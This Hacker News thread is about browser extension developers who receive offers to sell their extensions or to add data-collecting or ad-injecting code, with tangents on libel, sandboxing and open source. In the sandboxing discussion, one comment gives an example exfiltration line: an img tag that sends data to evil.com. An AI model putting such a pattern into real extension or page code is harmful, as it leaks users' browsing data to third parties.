Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

As the developer of a pretty popular "utility" browser extension, I've been shocked by the volume of email I get every week about it.

On a daily basis, I will get requests to sell the extension. Once or twice a week, I will receive an offer to add "a couple lines of code" to my extension which are always generously described as "allowed in the Chrome Web Store" by little fly-by-night organizations that only even have a landing page half the time and usually have throwaway-looking gmail accounts. Out of curiosity, I've asked a few what their code does and they never fully describe it, but it either collects analytics to ship home (my extension runs on all sites, so it's appetizing to them!) or places paid results at the top of any search results, for which I can make "thousands of dollars a month based on the number of North American users I have".

Here is an example email I received yesterday. It's a good example of how they call it "an SDK" and looks like one of the more legit ones (they registered a domain to send email from, at least).

  We at [redacted] are considering purchasing the complete license and ownership of the extensions which have 50K+ active users, may I know if you would be interested in selling? If so, - what is your estimated price?

  Regarding the SDK monetization which we discussed earlier, as it is not distractive and is compatible with any other monetization. We have straightforward terms and provide support for your users agreement. Our partners generate 3-20 K USD monthly with our solution for the browser extensions.

  As a kind reminder, we are [redacted] — a reputable global peer-to-peer ethical proxy network. All our clients are big reputable companies, we authorize their business before providing any proxy plans. 

  Look forward to your further feedback and discussing further details of our financial proposal for your Software in a short Zoom call or here by emails.
Finally, I am also hounded by teams at Microsoft and Apple, who want me to port the extension to their new plugin ecosystems so it can be featured/showcased. I worked with Apple on one similar thing for an extension and it caused such a huge jump in support and feature requests from users that I was overwhelmed, so I am not keen to do it again until I have more free time. They can't understand why I don't want to grow by tens of thousands of users a week, but I'm just one person and don't make money from it whatsoever.


I have two thoughts about this.

First, respond to every inquiry by telling them the price is USD$70,000,000.00. And stick to that price. Many of these sleazy companies get their leads from the same "lead generators," who will eventually take you off their lists because they know your terms are unreasonable. It doesn't work for everyone, but when I did it to spammers trying to buy my mailing list, it significantly reduced the volume of inquiries.

Second, put a page on your web site listing all of the offending companies, with links to the letter you received.

Apr 1, 2021 - Company X promised $3-5k/month if I alter your search results. Link.

Apr 3, 2021 - Company Y promised $1-5k/month if I promote thier product on other people's web pages. Link.

A lot of people on HN will claim "O, noes! Lawyers! Libel!" I wouldn't worry about it. These people don't have the money for lawyers, are usually in geographies without legal systems, and don't want their names and other information exposed in a public legal filing. Plus, all you're doing is stating facts.


> by telling them the price is USD$70,000,000.00

There's a W C Fields joke that ends, "Madame, we've already established what sort of woman you are, now we're just haggling over price."


Every time they make a lower offer counter with a higher price. They will soon learn what kind of person they are dealing with.

If they actually do come up with $120,000,000 - will at that point nobody will be surprised that you cashed out. They might be mad, but they won't blame you.


Case in point: Notch once said that his price for selling out Minecraft was $2B. When Microsoft eventually said "sounds fair" and gave it to him very few people found it easy to be mad at him.


To be fair, people found plenty of other things to be mad at Notch about.


They did, but it was all pretty unrelated. I thought GP's example was a good one.


That occurred a few years later


that was not what people got mad at notch about


People got mad at Notch for internet-age old reasons: expecting someone with high technical skills in one domain to have the right takes on social and political issues because they're now a internet social presence in addition to whatever creative work they've done. If people were realistic in their expectations of Notch, they'd never have been mad in the first place because they wouldn't have cared what inane ideas he spouted.


I don't think people on the internet are expected to "[take] on social and political issues"; they are expected to not be a piece of shit though. It costs $0 to not be a dick on the internet. It's free to not voice your opinion. You're not less of a person if you self-censor.


I wonder what the calculus was on the Microsoft side of the equation.

"It'd take more than 10-SWE-years to build a clone, so we should take his offer"?


They are paying for the brand, not the product. Microsoft is ensuring that they have mindshare in the next generation of gamers. That's critically important to maintaining their ongoing success in the gaming sector.

Similar to why Disney paid billions for Star Wars: the company was easily capable of replicating the product; the issue was replicating the brand. That brand has a proven track record of multi-generational appeal.


I think it's more than just the brand right? I can't speak for Disney and Star Wars because Star Wars was never my thing.

These creative endeavours have a soul, or an essence, for want of a better term. You can replicate a game or a movie and it will feel utterly soulless compared to the original, even if you can't visibly notice a difference.

You could reproduce Minecraft but even the most infinitesimal divergence from the original will make it feel fake. Maybe the controls have a different 'feel', or the way the scene is rendered feels a bit off. It's just not Minecraft any more. There are just so many quirks and details that will be lost in the translation, or even patched over if they're seen as bugs.

It's no different if you ported a game from Unity to Unreal and then to CryEngine. I'm sure that with a blind comparison you would be able to 'feel' the difference.

And the same for films. The way these things were created has a lot of influence over the end result.

On the other hand, it's exactly what can make a remake or remaster so successful. The Resident Evil 2 and 3 remakes that followed Resi 7 were phenomenal! Not totally faithful to the originals, didn't try to be...they just took an older game and gave it a new life.


I think you've just described a brand.

People don't go to Starbucks because it's the best, they go to Starbucks because mocha frappucinos in Lima and London taste exactly the same. Any divergence, even an infinitesimal one, makes the frap feel fake.


Reminds me of the quests to recreate the secret recipe for Coca-cola.

The secret ingredient isn't orange peel, it's $4 billion a year in marketing.


Sure, marketing is important. But the "secret" ingredient is coca leaf extract. The actual cocaine is used to make various drugs by a different corporation.

https://www.businessinsider.com/what-happened-to-the-cocaine...

According to Business Insider, the beverage company has a deal with the Drug Enforcement Administration to get coca leaves so that the world can get its Coca-Cola fix. The DEA lets Coca-Cola import coca leaves from Peru and Bolivia in order to get the part of its secret recipe, which it hides behind the term "natural flavors" on the ingredients list.


You could recreate the brand and the product, and you still won’t have millions of users playing it. They bought the user base, too.


A brand is not just trade dress. It's a relationship between a company and the public. Recreating the brand means building those relationships.


Which can be done, but it is a long process. Most attempts only get a fraction of the big brand, and the exceptions generally have more to do with the failings of the big brand than the competition. Once people find something they like, as long as that thing doesn't do something stupid they won't be in a hurry to look at the competition in general. If there is any switching cost they are even less interested in trying something else. Which means that the not number one competitors need to be perfect in everything - which is hard when they are not getting as much revenue to begin with, and thus cannot afford to try out any seemingly good ideas that turn out bad only after you try them...


They rewrote anyways.


Well yeah, but they could use the brand, likeness and source code of the original; if they created a clone (and there are clones, hundreds of them) it would NEVER have gotten even one percent of the share. Plus there's the merchandise. There is an existing market for Minecraft merchandise, and a clone could never even get close to that network.

I mean how many kids do you see walking around in "Cube World" T-shirts? CastleMiner? FortressCraft? Take your pick: https://www.reddit.com/r/Minecraft/comments/lx5g3/complete_l...


Wait, they value one SWE-year at $200,000,000?


Funny point, but I assume they mean ten years for a problem they throw whole, enormous teams at.


My buddy loves buying and selling stuff from the local newspaper. Whenever people give a low ball offer he looks them directly in the face and in a very confident manner says: "I'm accepting asking price or anything higher!"

The looks on people's faces are incredible.


I sold a Chrome extension I wrote in the early days of extensions (for a lot less than $120M and with a lot less users, but meaningful numbers for both). It wasn't clear then just how bad the malware problem was.

People still blamed me.


I have no problem being "that sort of women" for USD$70,000,000.00, over a browser extension.


There's a big difference between retirement money and day-job money, which applies both to this and the joke.


In the joke, $1m was offered. I don't know when he made that joke, but since he died in 1948, that's somewhere over $15m now. And houses were ridiculously cheap by modern standards, so that would have been retirement money for sure.


> A lot of people on HN will claim "O, noes! Lawyers! Libel!"

Libel is for false statements. If you've got a real email from the company then it's not false.


Sure, but that need not stop them from suing, which will cost you time and money, even if (when) you win.


In the USA, not true in the UK, for example.


Truth is a defence in the UK. If I read the Wikipedia article correctly, it's a defence everywhere. https://en.wikipedia.org/wiki/English_defamation_law

There are differences: in the USA the statement is assumed true, and must be proved false if libel is to succeed. In the UK the statement is presumed to be false, and the libel will succeed unless proved true.

I wonder what the GDPR has to say about publishing a private email?


The difference on the UK really comes down to the cost of defending oneself. Engaging in a court case is not a costly undertaking and this would likely be a quick in-and-out case, as long as you have the evidence to backup their claims.

I imagine either party in an email conversation have the right to publish the email, unless some terms were agreed in advance or the subject is expressly personal.


AFAIK, for ordinary snail mail ownership goes to the recipient in most (all?) European countries: You can't claim copyright on a letter you sent to someone else. Can't see why the same shouldn't go for e-mail. If you wanted something to remain “private”, don't give it to someone. (At least not without having them sign an NDA first).


I also have some extensions with users in the tens of thousands and can corroborate all of this. Out of curiosity I strung one "buyer" along to see how much they would offer and they quoted $0.20 per user. With the amount of money being thrown about, as sad as it is, it's no surprise that some devs end up selling out their users.

In my opinion extensions have to be one of the worst sources of spyware these days. I am now extremely conservative with what extensions I use, and definitely would only use extensions from open source projects or companies that I trust.

Something needs to change. As long as extensions have such weak sandboxing along with such poor app review, Google/Mozilla etc will keep willingly shipping spyware unbeknownst to their users.

At least some mechanism of creating and verifying reproducible builds would go a long way.


"In my opinion extensions have to be one of the worst sources of spyware these days. I am now extremely conservative with what extensions I use, and definitely would only use extensions from open source projects or companies that I trust."

I completely agree. There are a number of features I would really like to use in Firefox that are available only as extensions and I continue to resist installing them.

In fact, the only extension I use is uBlock origin - which is based on a fairly rich social and community history behind that project and its author ...


Stick to the Firefox Recommended Addons list. Those are the only ones which are code reviewed by real people.

And uBlock Origin is in that list.


More and more I feel like we need another new manifesto.

We need to pull people together who have a passion for making the world's computers just work and build a brand around simple extensions and apps that are TRULY FREE. As in, they don't have features removed that you can only unlock through a paid version, they don't have ads, they don't sell tracking data, source is open, and anyone can support them through optional donations, but they don't nag you for anything.

Stallman distinguished between free as in freedom and free as in beer. I don't think he went far enough.

I'm more radical because we are users first, all of us, and only by using great software are we able to be makers.

And I think about my typical experiences as a user. Often, using a piece of software that was pretty great, then suddenly out of nowhere, a popup, it was a free trial and the full version costs some exhorbitant amount. Or the software that was suddenly bought out and shut down. Or the "five star" app that is already full of spam.

Then I contrast that with those programs that just don't ask for anything. You keep expecting it, but it's just genuinely something truly free that works. They weren't optimizing revenue, they were optimizing function. That feeling of finding that perfect FOSS or community developed app, it's just sublime.

Some user had a problem they wanted to solve, once they solved it, it was just a gift to the world, implicitly asking people at most to think about paying it forward.

We should make stuff that emulates our ideal experiences, not our worst experiences. We should spread that same kind of joy we've felt. If one in a thousand pays it forward, the options spread. The oak tree doesn't waste time trying to extract revenue from every squirrel, it knows one in a thousand will bury an acorn somewhere and build the forest.

And it's especially needed now. There was a time in the early internet where there was just abundant freeware on the internet. Postcardware, donationware, people genuinely trying to make an entire open source ecosystem.

Then we got app stores. "Curated," but not for that ultimate sublime user experience. Curated for sustainable profit back to the marketplace. Curated to make the biggest revenue earners find the exact bottom line of scumminess without getting banned, and encourage them to duplicate that model, then inspire copycats flooding the entire app ecosystem.

I know the rebuttal, devs need to get paid. Sure, I'm not an absolutist; this path isn't for everyone or every project. But I've worked with some people who make many of their contributions as free as possible, and they include some incredibly talented and hardworking folks who might be a little bit crazy. The thing that unites them all is that they're passionate about making the world a better place. They are lucky to have the freedom to do it, but it's still praiseworthy that they use that freedom for everyone, when it'd be easy not to bother.

I know there are free cycles in the system out there where people code out of a desire to help. Just need to have a unifying purpose, a call to action, that's how so many of the great movements like open source originally started. Just have to have 1% of people believe in it, then so many incredible things happen.


Too longwinded I guess.

Absent any counterargument, I stand by the premise that app stores and extension marketplaces are teeming with junk, that curation has failed as a model.

It wasn't always like this. It doesn't have to be like this.

We just need to build something better.

Maybe the above path isn't the way. Ok, what do you think would be a better way to fix the current system?


If you can make thousands a month on tens of thousands of users, that’s (very much ballpark) $0.10 per user per month.

Paying $0.20 per user to buy that seems extremely low.

Also, on the sandboxing/app review of extensions, does anybody know how well Apple vets Safari extensions? (I guess that could be hard if the evil parts are time-triggered, certainly if the code also is obfuscated (possibly in the name of minification)


Who said they were earning thousands a month for their extension?


If the malware seller can make $0.10 / user / month, then paying the extension developer a one-time fee of $0.20 * users is only three months to pay back. Thus considered a low price for the extension developer but still attractive to the extension developer who likely earns $0 / user from their extension.


He didn't ask about the math, he wanted to know where it was said that they could earn "tens of thousands" (and I believe that is stated in the middle of the root post of this thread)


Also, a business model for extensions would be good - even if it's just an official "tip box" that enthusiastic users can pay into


The only extensions I have are privacy extensions. Do people on here really install a bunch of random 3rd party extensions?


Privacy extensions can be crap too. Cutting off web-based analytics makes the telemetry from those users much more valuable.

Ghostery anyone?

https://www.reddit.com/r/privacy/comments/59wiln/is_ghostery...


I wouldn't class The Great Suspender as a "random 3rd party extension", it's a performance tool.


probably not on here no. But out there... definitely yes.


With that kind of money being offered (assuming it is in the ballpark of true)... I wonder how many popular free extensions already have some of that junk in it and nobody's noticed. Maybe many of them? I could see a lot of devs who started out writing an extension as a non-paying hobby, having trouble turning down the free money.

I feel like this is another prong in the story about threats to sustainability of open source done the way it used to/has been done previously.


> assuming it is in the ballpark of true

It is. It’s very easy to generate big money with ad replacement or proxies.


Some years ago I applied at a "data analytics" startup founded by a locally famous founder. Their official purpose was something something search something social media. Not in the US, but he was featured on our local version of Shark Tank at some point.

During interview it became clear that their "product" was actually bundled malware that replaced google's and other ads in the browser. Evidently hot founder guy was using this startup as cash cow for his other ventures.

There was some noise in the press about it a couple years later and founder guy defended himself saying he sold the company and wasn't responsible, except it was already malware when I interviewed and he was still owner so I know it's bullshit.


He is well known for that in the local startup crowd ;)


What makes ad replacement malware? Presumably the users don’t care as long as the replacement ads aren’t of horrible quality. It’s definitely a bit cheeky, but malicious? I don’t think so.

This seems like a fairly benign monetization scheme, it’ll hurt some sites that depend on ad revenue but not any more than adblockers.


Call it grayware if you prefer, it's still hot garbage.

Monetization is the process of converting user value into money. If you don't provide any value it's not monetization it's just mining.


Well, the whole point is to bundle this with a product that generates value for the user.


And it's something I'm surprised Google hasn't done more to stop considering these people are basically stealing their revenue in their own browser


I fell for one of these offers on the first thing I made that got any traction -- it was a browser extension that solved an issue with a common photo hosting site, and I organically ended up with 25,000+ users, mostly on Chrome.

Eventually the photo hosting service itself solved the problem that my extension was solving, but pretty much everyone who'd installed the extension still had it installed.

At some point, a company offered to buy it from me for a couple thousand dollars -- I was 18, and it seemed like a miracle! They asked me to add some code to the extension, and I assumed their intentions were good. I added their code, which I now realize was some sort of tracking/advertising program...and my extension promptly got taken down by Google.

Quite the learning experience!


Did Apple compensate you for your work porting your extension?


No, but Apple and MS both consider the increased visibility and growth in user count from being "featured" in their marketplaces as a nice bonus for the developer. If I were a business generating revenue from app subscriptions, I'd jump all over it.


"We can't pay you, but you'll get exposure"


If you are generating revenue exposure can be very useful. However if you don't already have a good business model it just digs your hole deeper. Be very careful to be sure which you are in.


> "We can't pay you, but you'll get exposure"

... said the venue owner to the musician.

It’s a frighteningly common invit^H^H^H^H^H^H exploitation providing free labour to owners of gathering places benefitting from that labour (like bars and browsers and operating systems and social networks, etc).


Why should the venue owner pay the musician?

It's not an iron-clad given that the musician provides value to a venue.

Musicians who are confident they can bring business to a venue negotiate with confidence and get paid.

Those who play for free are ones who don't have that confidence.

What you accept is what you cost. That's the market rate.

How about this argument. Say I have a restaurant. Typically that means there is some landlord, and I pay them utilities and rent in exchange for using the space. Now some guitar-strumming, crooning ape wants to perform in the same space. If he and I are to be considered part of the same organization, we are on the same level of the "org chart". We are sharing the space and doing our thing. Why would I pay him anything? He should pay part of the rent and utilities. Or, why not the other way around?

Let's reverse it. Suppose a musician has a venue where he performs every night, and people come. Paying people. Suppose I want sell hot-dogs and sandwiches there, and he lets me do that. Why the fuck should he also pay me anything? He would be right to ask me to pay some sort of rent.

Now if I give the hot dogs and sandwiches for free, so that many more people come, and those people pay to get into this music venue, then there is a case that I'm increasing the business, and doing it out of my pocket. Still, that is my problem; I shouldn't be doing such a thing. Maybe I know what I'm doing! Or maybe I'm trying out new product to see how people like it or whatever (market research).


Context matters: It's a very different dynamic, depending on who approaches whom.

If the venue owner does the approaching (as in the context of the post raising this sub-thread) like Apple, Microsoft or Google approaching extension developers) it's questionable.

If the musician (or the extensions developer) approaches the venue owner, it's an entirely different story.

One has exploitation written all over it, the other not so much.

The context of the great-great-...-parent post suggests the exploitative version.


> How about this argument. Say I have a restaurant. Typically that means there is some landlord, and I pay them utilities and rent in exchange for using the space. Now some guitar-strumming, crooning ape wants to perform in the same space. If he and I are to be considered part of the same organization, we are on the same level of the "org chart". We are sharing the space and doing our thing. Why would I pay him anything? He should pay part of the rent and utilities. Or, why not the other way around?

Owners are allowed to do a lot of things that would be considered exploitative in an employment relationship: they can work excessive hours, below minimum wage, etc.. If they're a genuine owner getting their share of the upside, it's fair enough.

> Now if I give the hot dogs and sandwiches for free, so that many more people come, and those people pay to get into this music venue, then there is a case that I'm increasing the business, and doing it out of my pocket. Still, that is my problem; I shouldn't be doing such a thing. Maybe I know what I'm doing! Or maybe I'm trying out new product to see how people like it or whatever (market research).

You're not allowed to do form relationships that are indistinguishable from illegally-exploitative employment, for the same reason you're not allowed to run the shell game even if you do it 100% honestly. You'll find a lot of similar rules around charities that don't make sense on the surface, but are the only way to have a regulatory regime that protects people: you're not allowed to volunteer for or donate to the same organisation you work for, volunteers aren't allowed to be paid, volunteers can't do the exact same activities that they do for the charity but for a non-charity business...


As the other commenter said, the venue owner should pay the musician in the context provided by the parent poster, because the venue owner is the one asking the musician to play at their venue. Context matters.

The situation being called out, is the very situation that flows from your hypothetical restaurant owner's contemptuous disregard for the "guitar-strumming, crooning ape".


If a venue representative passes a hint to some musicians that a free space for jamming is available certain days of the week and certain hours, with some sound equipment and possibly an audience, is that an invitation which obliges them to pay the musicians? Certainly not.

The one thing that makes the context different is if the venue wants very specific musicians, and all of their choices are pros who expect to get paid. The venue can't get any of the musicians it wants without paying and that's that.

If a venue is not picky about musicians, it can easily get free ones. So many free ones that if three of them cancel, it can still call a fourth to come over.


> and all of their choices are pros who expect to get paid

I disagree that an alternative exists. Pay them for their time. They're enriching your business, or at the very least, providing you with their time and expertise.

> If a venue is not picky about musicians, it can easily get free ones

The way you talk about musicians (see also; you "ape" comment earlier) sounds like you don't value them as people.


> They're enriching your business, or at the very least, providing you with their time and expertise.

What? Not necessarily at all. Say I have a bar that is completely dead on a Wednesday night, due to it being Wednesday night and it being in some off part of town.

I could advertise that I have some free jam space for musicians, a drum kit and a PA with a few microphones and maybe some guitar/bass amp or speaker cabinet. Maybe people will show up to make some noise. Those same people (and maybe a few of their friends) will buy a few drinks, and that's where the "enriching my business" part comes in.

Nobody is required to buy a drink, and so this is a better offer than them having to actually rent equipment and room.


Your analogy only works if in the first case it's the musician who pockets the entry fee. Or, in the second, the payment for the food. The second, you specified they didn't (you “sell” the hot dogs, i.e. presumably pocket the payment yourself). The first is usually not the case.

So your analogy doesn't work.


" Why should the venue owner pay the musician?"

Because a music venue without musicians insn't


No, it isn't a music venue without musicians.

But the implied flow of money doesn't follow from that.

Suppose I own an empty space with a little stage, a PA sound system, and some 100 chairs. I put a down payment on this place, paid for equipment and upgrades and have to pay property taxes, utilities and mortgage. If nothing happens there, I lose money out of my own pocket. I intend for it to be a music venue. I meet the definition of a music venue owner.

Some musicians have contacted me and would like to have a concert there.

Should anyone pay anyone? Who should pay whom?

How is this for logic: "A house isn't a home without a family! If you want me to move into this house with my wife and three kids to make it a home, you're gonna have to pay me!"


It depends.

For many musicians it is not a career, but a hobby. A outlet for creativity. (That is me) In which case we choose venues that are like us. Our most recent gig was at our local Musicians Club https://youtu.be/URwzKL8pjQo?t=819

For others it is a important part of their income, so they should be paid.

Who should pay? If the punters pay a door charge the band should get it (that is the tradition here) if not then, yes, the owner of the venue pays it.


Musicians making an income simply have to avoid opportunities that they have outgrown: free jam spaces, open mics, and whatnot.


Generally speaking musicians are the last to get paid and the first to blame.


But a dive bar is a still a dive bar and a casual restaurant still a restaurant...


I disagree with this sentiment. People go to a music venue for the music, they go to a bar for the drinks and a resturant for the food.

If the bar had no drinks, it could hardly be called a bar. Similarly, a resturant with no food is hardly a resturant.

In that meantime, where the reason to go there is missing, these are all just rooms with the potential to be something later. The same goes for the music venue; it's just a big room that could be a music venue if there were actual musicians there.


A dive bar is still a place where people pay for drinks, and not for music.

The "open mic" is on Tuesday nights, because nobody goes there then, so there is no harm to the business, and the people who come to have open mic fun might buy drinks.


And in Apple's case, you can pay $99/year for the exposure...


For a couple projects and apps I worked on, exposure in one of these stores would be worth a decent amount of engineering effort. You can convert that exposure into users, marketing "buzz", validation of the apps worth to third parties, etc.

This isn't universal, of course. But not all payment comes in liquid form!


Said every ad platform ever.


> what is your estimated price?

Say, $5 per active user; non-exclusive license: I can maintain my fork of the extension, and use any of the code in new projects.


Ask Apple or Microsoft for a full time job to work on it =)


They'll offer you a full-time job and then you won't be able to work on it :P


Do extensions require any permissions to make requests? It seems like a strict sandbox that prevents data from flowing out of a page via an extension would help, if the extension is something like a JSON renderer.


Most extensions need the ability to modify webpages. With that ability, they can easily exfiltrate data by for example adding a <img src=evil.com/?data=82374682376>.

Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.


Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.

Just don't let them create script elements, or add any URLs that don't come from within the extension bundle itself. Browsers already have to do a ton of bookkeeping to track the origins of requests anyway. Doesn't seem hard, you just have to be thorough.


Restricting the extension to pre-baked URLs means it takes several page loads to exfiltrate something, but doesn't stop it.


There would be ways to trick the original page into adding stuff for you.

For example, you could patch some of the original script of the page and wait for it to be run.


Couldn't CSP be used to limit which paths were valid URLs?

There could also be hierarchies of extension permissions, because they don't all need to be able to do everything.


extensions can also remove/add CSPs I think, either through modifying the header or modifying the DOM.


Yes, but you could strictly limit which extensions had that permission, make it a site specific permission, etc. Auto disabling an extension that changes to require that permission would be a start.


The monetisation angle is hard. As soon as you activate it then the expectations ramp up even more than the (likely) current flow which is likely non-trivial right now as it stands. My experience on a smaller scale was only tens-of-emails per day. And that was actually overwhelming for my little hobby that had no possibility of monetisation. The idea of thousands of support emails from people with expectations doesn't spark joy at all.

Rhetorical questions: Do you want to support this thing? How much time does it take? Is this effort you want to spend? Are you not monetising this for a purpose? Are you happy with that purpose (obviously yes)? Do you still enjoy spending time on it? Do you see that time as well spent? Are the expectations from your side still being met? Are the expectations from everyone else still reasonable?

After all those questions, the basic answer is probably: you don't want to monetise it because it will wreck the actual purpose for which its intended or alternatively there isn't much of monetisation possibility due to its nature. But you can't spend more time on it because you have other Things to Do, like making money from other ways.

(At least this is my impression based on my experience)


Is this Luminati? [0] Because this sounds so much like Luminati ("Hola").

[0] https://luminati.io/


Why redact? I'm curious about who is doing this.


Agreed. These people need to be named and shamed.


It'd be annoying for the poster if they got mad, with an unlikely but potential legal encounter involved, and 99.9% of the community will never interact with the company. Even the few that do would likely realize their scummy business strategy immediately. Not worth it here.


> so I am not keen to do it again until I have more free time

Aww man, I'm really sad to here that RecipeFilter won't be coming to Safari anytime soon. I really got my hopes up after it was in the keynote!

Since Apple distributes extensions in the App Store, have you though about charging a buck or two for the Safari version? I know everyone says this, but I'd pay...


Is this any different than Railway Programming? Or is this more specifically applicable to high order components?

https://fsharpforfunandprofit.com/rop/


> Finally, I am also hounded by teams at Microsoft and Apple, who want me to port the extension to their new plugin ecosystems so it can be featured/showcased.

Do they ask you to do that for free or is there a monetary amount they tack on?


What is your extension called?



Is this open source by any chance?


This is an open source project: https://github.com/sean-public/RecipeFilter


Thanks!


Make sure your email account and browser extension accounts are secure... if you're a valuable target for scammers, you're also a target of getting your browser extension stolen from you.


I feel there's a moneymaker here - create a popular open source extension, sell it off when you get a good deal, fork the code and let everyone find out the old version is "evil".


"Trust for software" is largely reputation based - I don't have the time to read all the code to Blender; I trust that Blender.Org people are Nice TM or that at least someone Nice TM has read the code.

Once you burn your reputation by "selling out" the first time. Who will trust your new forked version?


Crazy. Can I ask what extension this is? Wish I had the problem of tens of thousands of new users wanting my product weekly :)


Per an older comment, it's for pulling recipes off of awful recipe blogs. Having stumbled into recipe blogs before, the demand is understandable!

https://chrome.google.com/webstore/detail/recipe-filter/ahlc...


Going one step further, I found AnyList[1] on this forum awhile back and they also have a similar extension for extracting recipes from awful blogging sites.

The added benefit with AnyList is that you can import ingredients directly into your grocery list from the extension. Been a huge time saver for me

[1] https://www.anylist.com/


Paprika [0] can also parse any blog/recipe site and import the recipe. Then you can add items from recipes to your shopping list. I highly recommend this app, I've converted many friends over to it. It's a much better experience than trying to scroll through a blog post while cooking.

[0] https://www.paprikaapp.com/


I'll add that I recently found how well Paprika handles printing recipes you have in your library. I wanted to print off a bunch of recipes to put in a binder and was very happy with how clean and simply formatted each recipe was, often with room to write notes on the paper. My only wish is they would implement a "family" option where I could easily share my library of recipes with my girlfriend without having to share them one at a time.


> My only wish is they would implement a "family" option where I could easily share my library of recipes with my girlfriend without having to share them one at a time.

I normally abhor "social" features being tacked on when they aren't useful but I'd pay for all the apps over again for this feature. Thankfully the API is pretty straightforward. This repo of mine [0] is super dated but it was still working the last time I played with Paprika's API.

I've toyed around with setting up a little web app that my friends can log-in with their paprika creds (I know, I know, but I'd tell them to use a 1-off password for this) so that they can use the web app either push or pull recipes from each other.

Thankfully you can send the full paprikarecipe file via email and import it but it's a little clunky and things like Discord (which my friends use to chat) doesn't like file extensions over 12 characters (IIRC) so it just cuts off the rest of the extension characters leaving you with a file you can't open (without fixing the extension). I have some initial work to setup an AWS SES address that people can send recipes to that will then drop a preview and link to download (not an attachment, it would be hosted on S3) the recipe into a "recipes" Discord channel we use but it's still a WIP.

[0] https://github.com/joshstrange/paprika-api


> My only wish is they would implement a "family" option where I could easily share my library of recipes with my girlfriend without having to share them one at a time.

My wife and I work around that by simply using the same paprika account for cloud sync...

Paprika is a huge time and sanity saver for me - it'd be totally possible, but much harder for me to cook for big events without it!


I love Paprika, my one complaint about it is that you have to be careful with the ingredients multiplier feature. It only touches the number at the start, so "1 large onion thinly sliced, about 2 cups" turns into "2 large onion thinly sliced, about 2 cups."

If you're not paying attention you can miss that it really needs 4 cups.


Agreed, I've run into the same issue. I had hoped that the numbers row they show above the keyboard (on mobile) meant they were "special numbers" that would scale but alas it only scales the first number AFAICT.


> My only wish is they would implement a "family" option where I could easily share my library of recipes with my girlfriend without having to share them one at a time.

I thought that was the paid Cloud Sync feature was for. Does it not work for that?


I'm pretty sure Paprika Sync is free (with purchase of app) but yes, if you login to the same account it will sync (I used this with my partner very successfully). I think the person you are replying to is talking about having separate Paprika Sync accounts but still being able to share one-off or a subset of recipes.


Paprika is so good! There are a bunch of fit-and-finish details that tell me that it's being made by people who use it and who really care about listening to users.


I find it so ironic they'd buy out am extension specifically designed to defeat SEO blogspam, just to insert analytics based monetization instead.


Thank you for sharing this, fancy_pantser. Are you the current maintainer also, or the current developer?

This is what capitalism looks like, folks. Someone "built it" so they now privately "own it", no matter how big it gets. It's not put into the hands of an organization. The profit motive is quite strong, which is why someone can be "corrupted" by very tempting messages like this. If you had a lake or a forest privately owned by one or two people, and they had a lot of debts, they could easily sell it to polluters and loggers.

Some people scoff and say "socialism has been tried, it never works." I admit that socialism simply trades one class of elites (the capitalists with a lot of shares) for another (the bureaucrats with a lot of political clout). BUT! I would like to say that socialism is not the only alternative. The other alternative is decentralized systems with no private ownership. I'm talking about science, open source software, and so on. There can be a Merkle tree of version updates (e.g. git version control) and each one can have various reputable organizations (like Zagat for software) building their reputation vetting it. Then, each community would run their own app store (think Wordpress plugins) which would work with these reputable organizations. There would be no heroes, no celebrities, no tweets at 3 am to 5 million people, no pulling from repos without peer review, no scientists instantly believed after publishing on arxiv.org .

Congratulations for building a popular extension, fancy_pantser. You live in a world where you it's really bad to "criticize the profit", and where building it means you are responsible for it no matter how big it gets, but then we are all depending on your integrity and ability to rebuff life-changing amounts of money to not mine our data. We can pass laws to punish people after the fact, or we can gradually change our culture by rejecting "immediate gratification" of updates that are not vetted, just as corporations have done with bleeding edge vs stable Linux distros etc. Unfortunately, the Web has made it so that anything can be updated at any time, with no sysadmins or reviewers in the loop. It's a wonder more malware isn't silently everywhere already.


> decentralized systems with no private ownership

aka anarchy. that turns out to be worse.


Yes, as we all know, open source software is a failed experiment, a cesspit of "anarchy".


Not open source. Open source is a resounding success. The marketplace with the problems is advertising. We need to enact laws banning selling of third party data and make leaks a liability (perhaps even one that automatically pierces the normal corporate veil and opens VPs and up to personal liability if there was any circumvention initiated encouraged by them). Then businesses have to actually decide if the liability is worth it for them vs a free-for-all market that intelligence agencies and criminal enterprises are primarily funding.


Most open source software is neither decentralized nor publicly owned.


All of it is, otherwise it wouldn't meet the 4 freedoms that define open source.

The 'project' maintaining the software may be centralized, but all its users "own" the software in the sense that the don't need to ask permission to the maintainer, and they can create their own modifications.


You're mixing a few different things. Free software and open source are different. and for each of them there are hundreds of different licenses that allows you to do something but not another.


Free software and open source are different marketing strategies for the same concept. The most commonly understood meaning for both terms is the same, from the very moment the Open Source Initiative was created.


As well as science, language and other human endeavors. No one is in charge! I’m glad society advanced so much from secret alchemy cults with their “intellectual property” protections on their secrets.


That’s a good description. A successful cesspit of anarchy.


What is your evidence?

Mackknovist Ukraine, Spanish Republic, and Zapitista country now...

All were/are quite different. Worse than what?


Ah, yes, the little project known as Debian completely failed and never took off. Anarchy is so bad. How could it ever produce anything of value, like say the world's most used linux distribution?


Anarchy is simply absence of tall hierarchies.

You can have each individual community choose what OpenStreetMap tiles to use, what to censor etc.

Like HN does. What if HN was kicked off a host? They would put the backups somewhere else and repoint the DNS.

What if ICE seized their domain? Then we could move domain name resolution to a DHT.

What if AT&T refused to carry it or charge extra? The signal could route packets along other lines. No single point of failure.

It’s not just about banning 0% or 100% but the prices and friction imposed by privately owned rentseeking infrastructure monopolies. Why in a span of less than 10 years, VOIP has caused international calls that used to cost $3 a minute to turn free and have video!

The weird thing is that when A wants to connect woth B you think there has to be a one-size-fits all C that can block it.


"Anarchy is simply absence of tall hierarchies"

No it is not!


“I came here for an argument, this is mere contradiction.”


It seems you've misinterpreted the poster's intentions as if it should be illegal for a developer to do this. But he/she was merely informing users, and well informed customers is a requirement for capitalism to work.

The cost of using this extension is your information, and there are other products available that do the same thing at a lower cost. Based on the most fundamental concept of economics (supply and demand), "The Great Suspender" should fail as a product very quickly.


It's incredible how much downvotes you got for this without any explanation. Your proposal sounds sensible and I agree that we need to find a new system. It doesn't have to be this that you described but we should be open to change. Capitalism the way it is leads us in the wrong direction and socialism doesn't fare too much better in practice. We need to redraw a plan for the 21st century


If I were to guess, it's down voted because when SKIMMED, it sounds like an off-topic, far too long, and overly political comment.

It's a fair comment, but only if you actually read it.


https://news.ycombinator.com/newsguidelines.html might be the reason why a lot of things here got downvoted. Specifically:

